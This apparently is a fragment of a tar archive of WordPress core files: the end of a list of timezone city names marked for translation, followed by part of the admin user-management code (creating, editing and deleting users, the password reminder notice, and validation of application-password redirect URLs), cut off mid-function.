__( 'Kuching', 'continents-cities' );
__( 'Kuwait', 'continents-cities' );
__( 'Macao', 'continents-cities' );
__( 'Macau', 'continents-cities' );
__( 'Magadan', 'continents-cities' );
__( 'Makassar', 'continents-cities' );
__( 'Manila', 'continents-cities' );
__( 'Muscat', 'continents-cities' );
__( 'Nicosia', 'continents-cities' );
__( 'Novokuznetsk', 'continents-cities' );
__( 'Novosibirsk', 'continents-cities' );
__( 'Omsk', 'continents-cities' );
__( 'Oral', 'continents-cities' );
__( 'Phnom Penh', 'continents-cities' );
__( 'Pontianak', 'continents-cities' );
__( 'Pyongyang', 'continents-cities' );
__( 'Qatar', 'continents-cities' );
__( 'Qostanay', 'continents-cities' );
__( 'Qyzylorda', 'continents-cities' );
__( 'Rangoon', 'continents-cities' );
__( 'Riyadh', 'continents-cities' );
__( 'Saigon', 'continents-cities' );
__( 'Sakhalin', 'continents-cities' );
__( 'Samarkand', 'continents-cities' );
__( 'Seoul', 'continents-cities' );
__( 'Shanghai', 'continents-cities' );
__( 'Singapore', 'continents-cities' );
__( 'Srednekolymsk', 'continents-cities' );
__( 'Taipei', 'continents-cities' );
__( 'Tashkent', 'continents-cities' );
__( 'Tbilisi', 'continents-cities' );
__( 'Tehran', 'continents-cities' );
__( 'Tel Aviv', 'continents-cities' );
__( 'Thimbu', 'continents-cities' );
__( 'Thimphu', 'continents-cities' );
__( 'Tokyo', 'continents-cities' );
__( 'Tomsk', 'continents-cities' );
__( 'Ujung Pandang', 'continents-cities' );
__( 'Ulaanbaatar', 'continents-cities' );
__( 'Ulan Bator', 'continents-cities' );
__( 'Urumqi', 'continents-cities' );
__( 'Ust-Nera', 'continents-cities' );
__( 'Vientiane', 'continents-cities' );
__( 'Vladivostok', 'continents-cities' );
__( 'Yakutsk', 'continents-cities' );
__( 'Yangon', 'continents-cities' );
__( 'Yekaterinburg', 'continents-cities' );
__( 'Yerevan', 'continents-cities' );

__( 'Atlantic', 'continents-cities' );
__( 'Azores', 'continents-cities' );
__( 'Bermuda', 'continents-cities' );
__( 'Canary', 'continents-cities' );
__( 'Cape Verde', 'continents-cities' );
__( 'Faeroe', 'continents-cities' );
__( 'Faroe', 'continents-cities' );
__( 'Jan Mayen', 'continents-cities' );
__( 'Madeira', 'continents-cities' );
__( 'Reykjavik', 'continents-cities' );
__( 'South Georgia', 'continents-cities' );
__( 'St Helena', 'continents-cities' );
__( 'Stanley', 'continents-cities' );

__( 'Australia', 'continents-cities' );
__( 'ACT', 'continents-cities' );
__( 'Adelaide', 'continents-cities' );
__( 'Brisbane', 'continents-cities' );
__( 'Broken Hill', 'continents-cities' );
__( 'Canberra', 'continents-cities' );
__( 'Currie', 'continents-cities' );
__( 'Darwin', 'continents-cities' );
__( 'Eucla', 'continents-cities' );
__( 'Hobart', 'continents-cities' );
__( 'LHI', 'continents-cities' );
__( 'Lindeman', 'continents-cities' );
__( 'Lord Howe', 'continents-cities' );
__( 'Melbourne', 'continents-cities' );
__( 'NSW', 'continents-cities' );
__( 'North', 'continents-cities' );
__( 'Perth', 'continents-cities' );
__( 'Queensland', 'continents-cities' );
__( 'South', 'continents-cities' );
__( 'Sydney', 'continents-cities' );
__( 'Tasmania', 'continents-cities' );
__( 'Victoria', 'continents-cities' );
__( 'West', 'continents-cities' );
__( 'Yancowinna', 'continents-cities' );

__( 'Etc', 'continents-cities' );
__( 'GMT', 'continents-cities' );
__( 'GMT+0', 'continents-cities' );
__( 'GMT+1', 'continents-cities' );
__( 'GMT+10', 'continents-cities' );
__( 'GMT+11', 'continents-cities' );
__( 'GMT+12', 'continents-cities' );
__( 'GMT+2', 'continents-cities' );
__( 'GMT+3', 'continents-cities' );
__( 'GMT+4', 'continents-cities' );
__( 'GMT+5', 'continents-cities' );
__( 'GMT+6', 'continents-cities' );
__( 'GMT+7', 'continents-cities' );
__( 'GMT+8', 'continents-cities' );
__( 'GMT+9', 'continents-cities' );
__( 'GMT-0', 'continents-cities' );
__( 'GMT-1', 'continents-cities' );
__( 'GMT-10', 'continents-cities' );
__( 'GMT-11', 'continents-cities' );
__( 'GMT-12', 'continents-cities' );
__( 'GMT-13', 'continents-cities' );
__( 'GMT-14', 'continents-cities' );
__( 'GMT-2', 'continents-cities' );
__( 'GMT-3', 'continents-cities' );
__( 'GMT-4', 'continents-cities' );
__( 'GMT-5', 'continents-cities' );
__( 'GMT-6', 'continents-cities' );
__( 'GMT-7', 'continents-cities' );
__( 'GMT-8', 'continents-cities' );
__( 'GMT-9', 'continents-cities' );
__( 'GMT0', 'continents-cities' );
__( 'Greenwich', 'continents-cities' );
__( 'UCT', 'continents-cities' );
__( 'UTC', 'continents-cities' );
__( 'Universal', 'continents-cities' );
__( 'Zulu', 'continents-cities' );

__( 'Europe', 'continents-cities' );
__( 'Amsterdam', 'continents-cities' );
__( 'Andorra', 'continents-cities' );
__( 'Astrakhan', 'continents-cities' );
__( 'Athens', 'continents-cities' );
__( 'Belfast', 'continents-cities' );
__( 'Belgrade', 'continents-cities' );
__( 'Berlin', 'continents-cities' );
__( 'Bratislava', 'continents-cities' );
__( 'Brussels', 'continents-cities' );
__( 'Bucharest', 'continents-cities' );
__( 'Budapest', 'continents-cities' );
__( 'Busingen', 'continents-cities' );
__( 'Chisinau', 'continents-cities' );
__( 'Copenhagen', 'continents-cities' );
__( 'Dublin', 'continents-cities' );
__( 'Gibraltar', 'continents-cities' );
__( 'Guernsey', 'continents-cities' );
__( 'Helsinki', 'continents-cities' );
__( 'Isle of Man', 'continents-cities' );
__( 'Istanbul', 'continents-cities' );
__( 'Jersey', 'continents-cities' );
__( 'Kaliningrad', 'continents-cities' );
__( 'Kiev', 'continents-cities' );
__( 'Kyiv', 'continents-cities' );
__( 'Kirov', 'continents-cities' );
__( 'Lisbon', 'continents-cities' );
__( 'Ljubljana', 'continents-cities' );
__( 'London', 'continents-cities' );
__( 'Luxembourg', 'continents-cities' );
__( 'Madrid', 'continents-cities' );
__( 'Malta', 'continents-cities' );
__( 'Mariehamn', 'continents-cities' );
__( 'Minsk', 'continents-cities' );
__( 'Monaco', 'continents-cities' );
__( 'Moscow', 'continents-cities' );
__( 'Oslo', 'continents-cities' );
__( 'Paris', 'continents-cities' );
__( 'Podgorica', 'continents-cities' );
__( 'Prague', 'continents-cities' );
__( 'Riga', 'continents-cities' );
__( 'Rome', 'continents-cities' );
__( 'Samara', 'continents-cities' );
__( 'San Marino', 'continents-cities' );
__( 'Sarajevo', 'continents-cities' );
__( 'Saratov', 'continents-cities' );
__( 'Simferopol', 'continents-cities' );
__( 'Skopje', 'continents-cities' );
__( 'Sofia', 'continents-cities' );
__( 'Stockholm', 'continents-cities' );
__( 'Tallinn', 'continents-cities' );
__( 'Tirane', 'continents-cities' );
__( 'Tiraspol', 'continents-cities' );
__( 'Ulyanovsk', 'continents-cities' );
__( 'Uzhgorod', 'continents-cities' );
__( 'Vaduz', 'continents-cities' );
__( 'Vatican', 'continents-cities' );
__( 'Vienna', 'continents-cities' );
__( 'Vilnius', 'continents-cities' );
__( 'Volgograd', 'continents-cities' );
__( 'Warsaw', 'continents-cities' );
__( 'Zagreb', 'continents-cities' );
__( 'Zaporozhye', 'continents-cities' );
__( 'Zurich', 'continents-cities' );

__( 'Indian', 'continents-cities' );
__( 'Antananarivo', 'continents-cities' );
__( 'Chagos', 'continents-cities' );
__( 'Christmas', 'continents-cities' );
__( 'Cocos', 'continents-cities' );
__( 'Comoro', 'continents-cities' );
__( 'Kerguelen', 'continents-cities' );
__( 'Mahe', 'continents-cities' );
__( 'Maldives', 'continents-cities' );
__( 'Mauritius', 'continents-cities' );
__( 'Mayotte', 'continents-cities' );
__( 'Reunion', 'continents-cities' );

__( 'Pacific', 'continents-cities' );
__( 'Apia', 'continents-cities' );
__( 'Auckland', 'continents-cities' );
__( 'Bougainville', 'continents-cities' );
__( 'Chatham', 'continents-cities' );
__( 'Chuuk', 'continents-cities' );
__( 'Easter', 'continents-cities' );
__( 'Efate', 'continents-cities' );
__( 'Enderbury', 'continents-cities' );
__( 'Fakaofo', 'continents-cities' );
__( 'Fiji', 'continents-cities' );
__( 'Funafuti', 'continents-cities' );
__( 'Galapagos', 'continents-cities' );
__( 'Gambier', 'continents-cities' );
__( 'Guadalcanal', 'continents-cities' );
__( 'Guam', 'continents-cities' );
__( 'Honolulu', 'continents-cities' );
__( 'Johnston', 'continents-cities' );
__( 'Kanton', 'continents-cities' );
__( 'Kiritimati', 'continents-cities' );
__( 'Kosrae', 'continents-cities' );
__( 'Kwajalein', 'continents-cities' );
__( 'Majuro', 'continents-cities' );
__( 'Marquesas', 'continents-cities' );
__( 'Midway', 'continents-cities' );
__( 'Nauru', 'continents-cities' );
__( 'Niue', 'continents-cities' );
__( 'Norfolk', 'continents-cities' );
__( 'Noumea', 'continents-cities' );
__( 'Pago Pago', 'continents-cities' );
__( 'Palau', 'continents-cities' );
__( 'Pitcairn', 'continents-cities' );
__( 'Pohnpei', 'continents-cities' );
__( 'Ponape', 'continents-cities' );
__( 'Port Moresby', 'continents-cities' );
__( 'Rarotonga', 'continents-cities' );
__( 'Saipan', 'continents-cities' );
__( 'Samoa', 'continents-cities' );
__( 'Tahiti', 'continents-cities' );
__( 'Tarawa', 'continents-cities' );
__( 'Tongatapu', 'continents-cities' );
__( 'Truk', 'continents-cities' );
__( 'Wake', 'continents-cities' );
__( 'Wallis', 'continents-cities' );
__( 'Yap', 'continents-cities' );
user.php000064400000055654150275632050006257 0ustar00<?php
/**
 * WordPress user administration API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Creates a new user from the "Users" form using $_POST information.
 *
 * @since 2.0.0
 *
 * @return int|WP_Error WP_Error or User ID.
 */
function add_user() {
	return edit_user();
}

/**
 * Edit user settings based on contents of $_POST
 *
 * Used on user-edit.php and profile.php to manage and process user options, passwords etc.
 *
 * @since 2.0.0
 *
 * @param int $user_id Optional. User ID.
 * @return int|WP_Error User ID of the updated user or WP_Error on failure.
 */
function edit_user( $user_id = 0 ) {
	$wp_roles = wp_roles();
	$user     = new stdClass();
	$user_id  = (int) $user_id;
	if ( $user_id ) {
		$update           = true;
		$user->ID         = $user_id;
		$userdata         = get_userdata( $user_id );
		$user->user_login = wp_slash( $userdata->user_login );
	} else {
		$update = false;
	}

	if ( ! $update && isset( $_POST['user_login'] ) ) {
		$user->user_login = sanitize_user( wp_unslash( $_POST['user_login'] ), true );
	}

	$pass1 = '';
	$pass2 = '';
	if ( isset( $_POST['pass1'] ) ) {
		$pass1 = trim( $_POST['pass1'] );
	}
	if ( isset( $_POST['pass2'] ) ) {
		$pass2 = trim( $_POST['pass2'] );
	}

	if ( isset( $_POST['role'] ) && current_user_can( 'promote_users' ) && ( ! $user_id || current_user_can( 'promote_user', $user_id ) ) ) {
		$new_role = sanitize_text_field( $_POST['role'] );

		// If the new role isn't editable by the logged-in user die with error.
		$editable_roles = get_editable_roles();
		if ( ! empty( $new_role ) && empty( $editable_roles[ $new_role ] ) ) {
			wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
		}

		$potential_role = isset( $wp_roles->role_objects[ $new_role ] ) ? $wp_roles->role_objects[ $new_role ] : false;

		/*
		 * Don't let anyone with 'promote_users' edit their own role to something without it.
		 * Multisite super admins can freely edit their roles, they possess all caps.
		 */
		if (
			( is_multisite() && current_user_can( 'manage_network_users' ) ) ||
			get_current_user_id() !== $user_id ||
			( $potential_role && $potential_role->has_cap( 'promote_users' ) )
		) {
			$user->role = $new_role;
		}
	}

	if ( isset( $_POST['email'] ) ) {
		$user->user_email = sanitize_text_field( wp_unslash( $_POST['email'] ) );
	}
	if ( isset( $_POST['url'] ) ) {
		if ( empty( $_POST['url'] ) || 'http://' === $_POST['url'] ) {
			$user->user_url = '';
		} else {
			$user->user_url = sanitize_url( $_POST['url'] );
			$protocols      = implode( '|', array_map( 'preg_quote', wp_allowed_protocols() ) );
			$user->user_url = preg_match( '/^(' . $protocols . '):/is', $user->user_url ) ? $user->user_url : 'http://' . $user->user_url;
		}
	}
	if ( isset( $_POST['first_name'] ) ) {
		$user->first_name = sanitize_text_field( $_POST['first_name'] );
	}
	if ( isset( $_POST['last_name'] ) ) {
		$user->last_name = sanitize_text_field( $_POST['last_name'] );
	}
	if ( isset( $_POST['nickname'] ) ) {
		$user->nickname = sanitize_text_field( $_POST['nickname'] );
	}
	if ( isset( $_POST['display_name'] ) ) {
		$user->display_name = sanitize_text_field( $_POST['display_name'] );
	}

	if ( isset( $_POST['description'] ) ) {
		$user->description = trim( $_POST['description'] );
	}

	foreach ( wp_get_user_contact_methods( $user ) as $method => $name ) {
		if ( isset( $_POST[ $method ] ) ) {
			$user->$method = sanitize_text_field( $_POST[ $method ] );
		}
	}

	if ( isset( $_POST['locale'] ) ) {
		$locale = sanitize_text_field( $_POST['locale'] );
		if ( 'site-default' === $locale ) {
			$locale = '';
		} elseif ( '' === $locale ) {
			$locale = 'en_US';
		} elseif ( ! in_array( $locale, get_available_languages(), true ) ) {
			if ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
				if ( ! wp_download_language_pack( $locale ) ) {
					$locale = '';
				}
			} else {
				$locale = '';
			}
		}

		$user->locale = $locale;
	}

	if ( $update ) {
		$user->rich_editing         = isset( $_POST['rich_editing'] ) && 'false' === $_POST['rich_editing'] ? 'false' : 'true';
		$user->syntax_highlighting  = isset( $_POST['syntax_highlighting'] ) && 'false' === $_POST['syntax_highlighting'] ? 'false' : 'true';
		$user->admin_color          = isset( $_POST['admin_color'] ) ? sanitize_text_field( $_POST['admin_color'] ) : 'fresh';
		$user->show_admin_bar_front = isset( $_POST['admin_bar_front'] ) ? 'true' : 'false';
	}

	$user->comment_shortcuts = isset( $_POST['comment_shortcuts'] ) && 'true' === $_POST['comment_shortcuts'] ? 'true' : '';

	$user->use_ssl = 0;
	if ( ! empty( $_POST['use_ssl'] ) ) {
		$user->use_ssl = 1;
	}

	$errors = new WP_Error();

	/* checking that username has been typed */
	if ( '' === $user->user_login ) {
		$errors->add( 'user_login', __( '<strong>Error:</strong> Please enter a username.' ) );
	}

	/* checking that nickname has been typed */
	if ( $update && empty( $user->nickname ) ) {
		$errors->add( 'nickname', __( '<strong>Error:</strong> Please enter a nickname.' ) );
	}

	/**
	 * Fires before the password and confirm password fields are checked for congruity.
	 *
	 * @since 1.5.1
	 *
	 * @param string $user_login The username.
	 * @param string $pass1     The password (passed by reference).
	 * @param string $pass2     The confirmed password (passed by reference).
	 */
	do_action_ref_array( 'check_passwords', array( $user->user_login, &$pass1, &$pass2 ) );

	// Check for blank password when adding a user.
	if ( ! $update && empty( $pass1 ) ) {
		$errors->add( 'pass', __( '<strong>Error:</strong> Please enter a password.' ), array( 'form-field' => 'pass1' ) );
	}

	// Check for "\" in password.
	if ( str_contains( wp_unslash( $pass1 ), '\\' ) ) {
		$errors->add( 'pass', __( '<strong>Error:</strong> Passwords may not contain the character "\\".' ), array( 'form-field' => 'pass1' ) );
	}

	// Checking the password has been typed twice the same.
	if ( ( $update || ! empty( $pass1 ) ) && $pass1 !== $pass2 ) {
		$errors->add( 'pass', __( '<strong>Error:</strong> Passwords do not match. Please enter the same password in both password fields.' ), array( 'form-field' => 'pass1' ) );
	}

	if ( ! empty( $pass1 ) ) {
		$user->user_pass = $pass1;
	}

	if ( ! $update && isset( $_POST['user_login'] ) && ! validate_username( $_POST['user_login'] ) ) {
		$errors->add( 'user_login', __( '<strong>Error:</strong> This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
	}

	if ( ! $update && username_exists( $user->user_login ) ) {
		$errors->add( 'user_login', __( '<strong>Error:</strong> This username is already registered. Please choose another one.' ) );
	}

	/** This filter is documented in wp-includes/user.php */
	$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );

	if ( in_array( strtolower( $user->user_login ), array_map( 'strtolower', $illegal_logins ), true ) ) {
		$errors->add( 'invalid_username', __( '<strong>Error:</strong> Sorry, that username is not allowed.' ) );
	}

	// Checking email address.
	if ( empty( $user->user_email ) ) {
		$errors->add( 'empty_email', __( '<strong>Error:</strong> Please enter an email address.' ), array( 'form-field' => 'email' ) );
	} elseif ( ! is_email( $user->user_email ) ) {
		$errors->add( 'invalid_email', __( '<strong>Error:</strong> The email address is not correct.' ), array( 'form-field' => 'email' ) );
	} else {
		$owner_id = email_exists( $user->user_email );
		if ( $owner_id && ( ! $update || ( $owner_id !== $user->ID ) ) ) {
			$errors->add( 'email_exists', __( '<strong>Error:</strong> This email is already registered. Please choose another one.' ), array( 'form-field' => 'email' ) );
		}
	}

	/**
	 * Fires before user profile update errors are returned.
	 *
	 * @since 2.8.0
	 *
	 * @param WP_Error $errors WP_Error object (passed by reference).
	 * @param bool     $update Whether this is a user update.
	 * @param stdClass $user   User object (passed by reference).
	 */
	do_action_ref_array( 'user_profile_update_errors', array( &$errors, $update, &$user ) );

	if ( $errors->has_errors() ) {
		return $errors;
	}

	if ( $update ) {
		$user_id = wp_update_user( $user );
	} else {
		$user_id = wp_insert_user( $user );
		$notify  = isset( $_POST['send_user_notification'] ) ? 'both' : 'admin';

		/**
		 * Fires after a new user has been created.
		 *
		 * @since 4.4.0
		 *
		 * @param int|WP_Error $user_id ID of the newly created user or WP_Error on failure.
		 * @param string       $notify  Type of notification that should happen. See
		 *                              wp_send_new_user_notifications() for more information.
		 */
		do_action( 'edit_user_created_user', $user_id, $notify );
	}
	return $user_id;
}

/**
 * Fetch a filtered list of user roles that the current user is
 * allowed to edit.
 *
 * Simple function whose main purpose is to allow filtering of the
 * list of roles in the $wp_roles object so that plugins can remove
 * inappropriate ones depending on the situation or user making edits.
 * Specifically because without filtering anyone with the edit_users
 * capability can edit others to be administrators, even if they are
 * only editors or authors. This filter allows admins to delegate
 * user management.
 *
 * @since 2.8.0
 *
 * @return array[] Array of arrays containing role information.
 */
function get_editable_roles() {
	$all_roles = wp_roles()->roles;

	/**
	 * Filters the list of editable roles.
	 *
	 * @since 2.8.0
	 *
	 * @param array[] $all_roles Array of arrays containing role information.
	 */
	$editable_roles = apply_filters( 'editable_roles', $all_roles );

	return $editable_roles;
}

/**
 * Retrieve user data and filter it.
 *
 * @since 2.0.5
 *
 * @param int $user_id User ID.
 * @return WP_User|false WP_User object on success, false on failure.
 */
function get_user_to_edit( $user_id ) {
	$user = get_userdata( $user_id );

	if ( $user ) {
		$user->filter = 'edit';
	}

	return $user;
}

/**
 * Retrieve the user's drafts.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id User ID.
 * @return array
 */
function get_users_drafts( $user_id ) {
	global $wpdb;
	$query = $wpdb->prepare( "SELECT ID, post_title FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'draft' AND post_author = %d ORDER BY post_modified DESC", $user_id );

	/**
	 * Filters the user's drafts query string.
	 *
	 * @since 2.0.0
	 *
	 * @param string $query The user's drafts query string.
	 */
	$query = apply_filters( 'get_users_drafts', $query );
	return $wpdb->get_results( $query );
}

/**
 * Delete user and optionally reassign posts and links to another user.
 *
 * Note that on a Multisite installation the user only gets removed from the site
 * and does not get deleted from the database.
 *
 * If the `$reassign` parameter is not assigned to a user ID, then all posts will
 * be deleted of that user. The action {@see 'delete_user'} that is passed the user ID
 * being deleted will be run after the posts are either reassigned or deleted.
 * The user meta will also be deleted that are for that user ID.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $id       User ID.
 * @param int $reassign Optional. Reassign posts and links to new User ID.
 * @return bool True when finished.
 */
function wp_delete_user( $id, $reassign = null ) {
	global $wpdb;

	if ( ! is_numeric( $id ) ) {
		return false;
	}

	$id   = (int) $id;
	$user = new WP_User( $id );

	if ( ! $user->exists() ) {
		return false;
	}

	// Normalize $reassign to null or a user ID. 'novalue' was an older default.
	if ( 'novalue' === $reassign ) {
		$reassign = null;
	} elseif ( null !== $reassign ) {
		$reassign = (int) $reassign;
	}

	/**
	 * Fires immediately before a user is deleted from the site.
	 *
	 * Note that on a Multisite installation the user only gets removed from the site
	 * and does not get deleted from the database.
	 *
	 * @since 2.0.0
	 * @since 5.5.0 Added the `$user` parameter.
	 *
	 * @param int      $id       ID of the user to delete.
	 * @param int|null $reassign ID of the user to reassign posts and links to.
	 *                           Default null, for no reassignment.
	 * @param WP_User  $user     WP_User object of the user to delete.
	 */
	do_action( 'delete_user', $id, $reassign, $user );

	if ( null === $reassign ) {
		$post_types_to_delete = array();
		foreach ( get_post_types( array(), 'objects' ) as $post_type ) {
			if ( $post_type->delete_with_user ) {
				$post_types_to_delete[] = $post_type->name;
			} elseif ( null === $post_type->delete_with_user && post_type_supports( $post_type->name, 'author' ) ) {
				$post_types_to_delete[] = $post_type->name;
			}
		}

		/**
		 * Filters the list of post types to delete with a user.
		 *
		 * @since 3.4.0
		 *
		 * @param string[] $post_types_to_delete Array of post types to delete.
		 * @param int      $id                   User ID.
		 */
		$post_types_to_delete = apply_filters( 'post_types_to_delete_with_user', $post_types_to_delete, $id );
		$post_types_to_delete = implode( "', '", $post_types_to_delete );
		$post_ids             = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d AND post_type IN ('$post_types_to_delete')", $id ) );
		if ( $post_ids ) {
			foreach ( $post_ids as $post_id ) {
				wp_delete_post( $post_id );
			}
		}

		// Clean links.
		$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );

		if ( $link_ids ) {
			foreach ( $link_ids as $link_id ) {
				wp_delete_link( $link_id );
			}
		}
	} else {
		$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) );
		$wpdb->update( $wpdb->posts, array( 'post_author' => $reassign ), array( 'post_author' => $id ) );
		if ( ! empty( $post_ids ) ) {
			foreach ( $post_ids as $post_id ) {
				clean_post_cache( $post_id );
			}
		}
		$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );
		$wpdb->update( $wpdb->links, array( 'link_owner' => $reassign ), array( 'link_owner' => $id ) );
		if ( ! empty( $link_ids ) ) {
			foreach ( $link_ids as $link_id ) {
				clean_bookmark_cache( $link_id );
			}
		}
	}

	// FINALLY, delete user.
	if ( is_multisite() ) {
		remove_user_from_blog( $id, get_current_blog_id() );
	} else {
		$meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) );
		foreach ( $meta as $mid ) {
			delete_metadata_by_mid( 'user', $mid );
		}

		$wpdb->delete( $wpdb->users, array( 'ID' => $id ) );
	}

	clean_user_cache( $user );

	/**
	 * Fires immediately after a user is deleted from the site.
	 *
	 * Note that on a Multisite installation the user may not have been deleted from
	 * the database depending on whether `wp_delete_user()` or `wpmu_delete_user()`
	 * was called.
	 *
	 * @since 2.9.0
	 * @since 5.5.0 Added the `$user` parameter.
	 *
	 * @param int      $id       ID of the deleted user.
	 * @param int|null $reassign ID of the user to reassign posts and links to.
	 *                           Default null, for no reassignment.
	 * @param WP_User  $user     WP_User object of the deleted user.
	 */
	do_action( 'deleted_user', $id, $reassign, $user );

	return true;
}

/**
 * Remove all capabilities from user.
 *
 * @since 2.1.0
 *
 * @param int $id User ID.
 */
function wp_revoke_user( $id ) {
	$id = (int) $id;

	$user = new WP_User( $id );
	$user->remove_all_caps();
}

/**
 * @since 2.8.0
 *
 * @global int $user_ID
 *
 * @param false $errors Deprecated.
 */
function default_password_nag_handler( $errors = false ) {
	global $user_ID;
	// Short-circuit it.
	if ( ! get_user_option( 'default_password_nag' ) ) {
		return;
	}

	// get_user_setting() = JS-saved UI setting. Else no-js-fallback code.
	if ( 'hide' === get_user_setting( 'default_password_nag' )
		|| isset( $_GET['default_password_nag'] ) && '0' === $_GET['default_password_nag']
	) {
		delete_user_setting( 'default_password_nag' );
		update_user_meta( $user_ID, 'default_password_nag', false );
	}
}

/**
 * @since 2.8.0
 *
 * @param int     $user_ID
 * @param WP_User $old_data
 */
function default_password_nag_edit_user( $user_ID, $old_data ) {
	// Short-circuit it.
	if ( ! get_user_option( 'default_password_nag', $user_ID ) ) {
		return;
	}

	$new_data = get_userdata( $user_ID );

	// Remove the nag if the password has been changed.
	if ( $new_data->user_pass !== $old_data->user_pass ) {
		delete_user_setting( 'default_password_nag' );
		update_user_meta( $user_ID, 'default_password_nag', false );
	}
}

/**
 * @since 2.8.0
 *
 * @global string $pagenow The filename of the current screen.
 */
function default_password_nag() {
	global $pagenow;

	// Short-circuit it.
	if ( 'profile.php' === $pagenow || ! get_user_option( 'default_password_nag' ) ) {
		return;
	}

	$default_password_nag_message  = sprintf(
		'<p><strong>%1$s</strong> %2$s</p>',
		__( 'Notice:' ),
		__( 'You are using the auto-generated password for your account. Would you like to change it?' )
	);
	$default_password_nag_message .= sprintf(
		'<p><a href="%1$s">%2$s</a> | ',
		esc_url( get_edit_profile_url() . '#password' ),
		__( 'Yes, take me to my profile page' )
	);
	$default_password_nag_message .= sprintf(
		'<a href="%1$s" id="default-password-nag-no">%2$s</a></p>',
		'?default_password_nag=0',
		__( 'No thanks, do not remind me again' )
	);

	wp_admin_notice(
		$default_password_nag_message,
		array(
			'additional_classes' => array( 'error', 'default-password-nag' ),
			'paragraph_wrap'     => false,
		)
	);
}

/**
 * @since 3.5.0
 * @access private
 */
function delete_users_add_js() {
	?>
<script>
jQuery( function($) {
	var submit = $('#submit').prop('disabled', true);
	$('input[name="delete_option"]').one('change', function() {
		submit.prop('disabled', false);
	});
	$('#reassign_user').focus( function() {
		$('#delete_option1').prop('checked', true).trigger('change');
	});
} );
</script>
	<?php
}

/**
 * Optional SSL preference that can be turned on by hooking to the 'personal_options' action.
 *
 * See the {@see 'personal_options'} action.
 *
 * @since 2.7.0
 *
 * @param WP_User $user User data object.
 */
function use_ssl_preference( $user ) {
	?>
	<tr class="user-use-ssl-wrap">
		<th scope="row"><?php _e( 'Use https' ); ?></th>
		<td><label for="use_ssl"><input name="use_ssl" type="checkbox" id="use_ssl" value="1" <?php checked( '1', $user->use_ssl ); ?> /> <?php _e( 'Always use https when visiting the admin' ); ?></label></td>
	</tr>
	<?php
}

/**
 * @since MU (3.0.0)
 *
 * @param string $text
 * @return string
 */
function admin_created_user_email( $text ) {
	$roles = get_editable_roles();
	$role  = $roles[ $_REQUEST['role'] ];

	if ( '' !== get_bloginfo( 'name' ) ) {
		$site_title = wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES );
	} else {
		$site_title = parse_url( home_url(), PHP_URL_HOST );
	}

	return sprintf(
		/* translators: 1: Site title, 2: Site URL, 3: User role. */
		__(
			'Hi,
You\'ve been invited to join \'%1$s\' at
%2$s with the role of %3$s.
If you do not want to join this site please ignore
this email. This invitation will expire in a few days.

Please click the following link to activate your user account:
%%s'
		),
		$site_title,
		home_url(),
		wp_specialchars_decode( translate_user_role( $role['name'] ) )
	);
}

/**
 * Checks if the Authorize Application Password request is valid.
 *
 * @since 5.6.0
 * @since 6.2.0 Allow insecure HTTP connections for the local environment.
 * @since 6.3.2 Validates the success and reject URLs to prevent javascript pseudo protocol being executed.
 *
 * @param array   $request {
 *     The array of request data. All arguments are optional and may be empty.
 *
 *     @type string $app_name    The suggested name of the application.
 *     @type string $app_id      A UUID provided by the application to uniquely identify it.
 *     @type string $success_url The URL the user will be redirected to after approving the application.
 *     @type string $reject_url  The URL the user will be redirected to after rejecting the application.
 * }
 * @param WP_User $user The user authorizing the application.
 * @return true|WP_Error True if the request is valid, a WP_Error object contains errors if not.
 */
function wp_is_authorize_application_password_request_valid( $request, $user ) {
	$error = new WP_Error();

	if ( isset( $request['success_url'] ) ) {
		$validated_success_url = wp_is_authorize_application_redirect_url_valid( $request['success_url'] );
		if ( is_wp_error( $validated_success_url ) ) {
			$error->add(
				$validated_success_url->get_error_code(),
				$validated_success_url->get_error_message()
			);
		}
	}

	if ( isset( $request['reject_url'] ) ) {
		$validated_reject_url = wp_is_authorize_application_redirect_url_valid( $request['reject_url'] );
		if ( is_wp_error( $validated_reject_url ) ) {
			$error->add(
				$validated_reject_url->get_error_code(),
				$validated_reject_url->get_error_message()
			);
		}
	}

	if ( ! empty( $request['app_id'] ) && ! wp_is_uuid( $request['app_id'] ) ) {
		$error->add(
			'invalid_app_id',
			__( 'The application ID must be a UUID.' )
		);
	}

	/**
	 * Fires before application password errors are returned.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_Error $error   The error object.
	 * @param array    $request The array of request data.
	 * @param WP_User  $user    The user authorizing the application.
	 */
	do_action( 'wp_authorize_application_password_request_errors', $error, $request, $user );

	if ( $error->has_errors() ) {
		return $error;
	}

	return true;
}

/**
 * Validates the redirect URL protocol scheme. The protocol can be anything except http and javascript.
 *
 * @since 6.3.2
 *
 * @param string $url - The redirect URL to be validated.
 *
 * @return true|WP_Error True if the redirect URL is valid, a WP_Error object otherwise.
 */
function wp_is_authorize_application_redirect_url_valid( $url ) {
	$bad_protocols = array( 'javascript', 'data' );
	if ( empty( $url ) ) {
		return true;
	}

	// Based on https://www.rfc-editor.org/rfc/rfc2396#section-3.1
	$valid_scheme_regex = '/^[a-zA-Z][a-zA-Z0-9+.-]*:/';
	if ( ! preg_match( $valid_scheme_regex, $url ) ) {
		return new WP_Error(
			'invalid_redirect_url_format',
			__( 'Invalid URL format.' )
		);
	}

	/**
	 * Filters the list of invalid protocols used in applications redirect URLs.
	 *
	 * @since 6.3.2
	 *
	 * @param string[]  $bad_protocols Array of invalid protocols.
	 * @param string    $url The redirect URL to be validated.
	 */
